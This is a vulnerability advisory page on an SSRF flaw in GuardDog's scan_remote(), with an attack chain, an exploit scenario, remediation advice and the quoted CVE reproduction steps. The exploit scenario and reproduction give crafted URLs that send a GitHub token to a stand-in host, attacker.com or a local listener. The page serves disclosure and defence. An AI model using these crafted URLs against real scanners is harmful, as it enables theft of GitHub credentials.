Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker crafts malicious URL
-
DeliveryVictim invokes scan_remote() with attacker URL
-
ExploitGuardDog performs blind string replacement
-
InstallHTTP request sent to attacker host
-
C2GH_TOKEN transmitted in Authorization header
-
ExecuteAttacker captures credentials
-
ImpactAccess private repositories or inject malicious code
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that GuardDog's scan_remote() method is invoked with an attacker-controlled repository URL parameter. This occurs when GuardDog is used programmatically to scan third-party packages, user-submitted repositories, or any URL sourced from untrusted input (package metadata, API parameters, CI/CD pipeline configurations). The attacker must control the 'url' parameter passed to ProjectScanner.scan_remote() or PypiRequirementsScanner().scan_remote(). Environment must have GH_TOKEN and optionally GIT_USERNAME configured (standard for authenticated GitHub API access). No user interaction required (UI:N). No authentication required from the attacker's perspective (PR:N). Default configurations are vulnerable - no non-default settings needed. Attack complexity is LOW (AC:L) because URL crafting is straightforward using standard userinfo component syntax. Limits to exploitation: if GuardDog is only used via CLI with manually-vetted repository URLs, or scanning is restricted to an internal allowlist of trusted GitHub repositories, the attack surface is significantly reduced. The vulnerability specifically affects programmatic API usage where external or user-influenced URLs reach scan_remote(). |
| Impact | Real-world risk is HIGH for organizations using GuardDog programmatically to scan untrusted repositories. CVSS 8.2 (AV:N/AC:L/PR:N/UI:N) indicates remote attackers need no privileges or user interaction, though exploitation requires the victim's GuardDog instance to scan an attacker-controlled URL. The Confidentiality impact (C:H) correctly reflects GH_TOKEN exfiltration, which can grant broad repository access depending on token scope. Integrity impact (L) accounts for potential malicious dependency injection via fake requirements.txt responses. No EPSS score or CISA KEV status provided, suggesting this is newly disclosed (2026-03-18 per advisory). Publicly available exploit code exists via the detailed reproduction steps in GHSA-587r-mc96-6f2p, lowering the bar for exploitation. CRITICAL GAP: No vendor-released patch exists despite public disclosure - affected versions span 1.0.0 to 2.9.0 with fix version listed as 'None'. This significantly elevates risk for current users who must implement workarounds rather than upgrade. Attack complexity is LOW because URL crafting is trivial and GuardDog's use case (scanning third-party repositories) naturally exposes the attack surface. Priority should be CRITICAL for any deployment scanning untrusted or external repositories, MEDIUM for internal-only scanning where URL control is restricted. |
| Exploit ScenarioDerived | An attacker submits a malicious PyPI package with a homepage field pointing to 'http://github@attacker.com:8080/fake/repo'. When a security team uses GuardDog's scan_remote() to analyze this package's dependencies, GuardDog performs the blind string replacement, transforming the URL to 'http://raw.githubusercontent@attacker.com:8080/fake/repo/main/requirements.txt'. The Python requests library sends an HTTP GET to attacker.com:8080 with the Authorization header containing the Base64-encoded GH_TOKEN. The attacker's listener captures the credentials, decodes them to obtain a valid GitHub personal access token, and uses it to access private repositories or inject malicious code into repositories with write access. Publicly available exploit code exists via detailed reproduction steps in the GitHub advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 11, 2026
Server-side request forgery (SSRF) in GuardDog 1.0.0 through 2.9.0 allows remote attackers to exfiltrate GitHub personal access tokens and probe internal networks via malicious repository URLs. The vulnerability stems from blind string replacement in ProjectScanner.scan_remote() that fails to validate hostnames before appending authentication credentials. No vendor-released patch identified at time of analysis. Publicly available exploit code exists via GitHub advisory reproduction steps. CVSS 8.2 (High) with network vector and no authentication required.
RemediationAI
No vendor-released patch identified at time of analysis (fix version listed as None for vulnerable range 1.0.0-2.9.0). Users must implement immediate compensating controls: (1) Restrict scan_remote() to only scan repositories from a predefined allowlist of trusted GitHub URLs, validating that parsed hostname equals 'github.com' before passing to GuardDog. (2) Remove or rotate any GitHub personal access tokens (GH_TOKEN) that may have been exposed to untrusted scanning targets; review GitHub audit logs for unauthorized access using compromised tokens. (3) Implement network egress filtering to block outbound HTTP/HTTPS from GuardDog scanner processes to non-GitHub IP ranges, preventing SSRF to internal services - note this may break legitimate functionality if GuardDog needs to scan self-hosted Git instances. (4) For programmatic integrations, fork the GuardDog repository and apply the suggested fix from the advisory: parse input URLs using urllib.parse, enforce hostname == 'github.com', validate path structure matches owner/repo pattern, construct raw.githubusercontent.com URLs from validated components rather than string replacement, and implement strict hostname validation before attaching authentication headers. Monitor the vendor advisory at https://github.com/DataDog/guarddog/security/advisories/GHSA-587r-mc96-6f2p for patch availability. Each workaround has trade-offs: URL allowlisting prevents scanning new repositories without manual approval; egress filtering may block legitimate use cases; forking requires maintaining a custom build.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
GuardDog is a Python security scanner for PyPI and npm packages (pkg:pip/guarddog). The vulnerability exists in ProjectScanner.scan_remote() at guarddog/scanners/scanner.py lines 361-365. The method performs a naive string replacement (url.replace('github', 'raw.githubusercontent')) to convert GitHub repository URLs to raw content URLs without parsing or validating the hostname component. This violates the principle of treating URLs as structured data, classified as CWE-918 (Server-Side Request Forgery). The Python requests library correctly interprets URL components, so a crafted URL like 'http://github@attacker.com' has 'github' as a username in the userinfo component, not part of the hostname. After string replacement, the request targets the attacker-controlled host while carrying GitHub credentials via HTTP Basic Auth. The vulnerability affects all programmatic callers of scan_remote() between versions 1.0.0 and 2.9.0, with CPE pkg:pip/guarddog covering the affected package.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Primary rating from Vendor (https://github.com/DataDog/guarddog) · only source for this CVE.
CVSS VectorVendor: https://github.com/DataDog/guarddog
DescriptionCVE.org
Summary
The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH_TOKEN used by GuardDog.
Description
ProjectScanner.scan_remote() takes a url, branch, and requirements_name, then constructs a raw GitHub URL by calling:
githubusercontent_url = url.replace("github", "raw.githubusercontent")
req_url = f"{githubusercontent_url}/{branch}/{requirements_name}"
resp = requests.get(url=req_url, auth=token)Because this logic does not parse or validate the hostname, a crafted URL such as:
http://github@127.0.0.1:18081/owner/repois transformed into:
http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txtRequests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.
Reproduction summary
- Start an HTTP listener on
127.0.0.1:18081that logs the request path andAuthorizationheader. - Set
GIT_USERNAME=aliceandGH_TOKEN=supersecret. - Call
PypiRequirementsScanner().scan_remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt"). - Observe a request to
/owner/repo/main/requirements.txtwithAuthorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.
Key code paths
guarddog/scanners/scanner.py:361-365
Practical impact
This can expose repository-scanning infrastructure to:
- theft of the GitHub PAT configured in
GH_TOKEN - SSRF to internal or localhost services reachable by the scanner
- attacker-controlled dependency file content returned by the malicious endpoint
Prior public disclosure check
As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.
Suggested fix
Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.
Executive ViewAI
GuardDog versions 1.0.0 through 2.9.0 contain an unauthenticated server-side request forgery vulnerability that allows attackers to exfiltrate GitHub personal access tokens and map internal network infrastructure by crafting malicious repository URLs. Organizations using GuardDog for dependency scanning face immediate credential compromise and lateral movement risks if processing untrusted repository inputs.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable remote repository scanning functionality in GuardDog configuration; (2) Enforce network-level egress filtering to block GuardDog processes from reaching internal services and external attacker-controlled hosts; (3) Rotate GitHub personal access tokens immediately and replace with short-lived tokens with minimal required scopes; (4) Implement air-gapped or fully isolated execution environments for GuardDog until patched version is available.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-32535
GHSA-587r-mc96-6f2p
NVD
CVE.org
EPSS
VulDB
Exploit-DB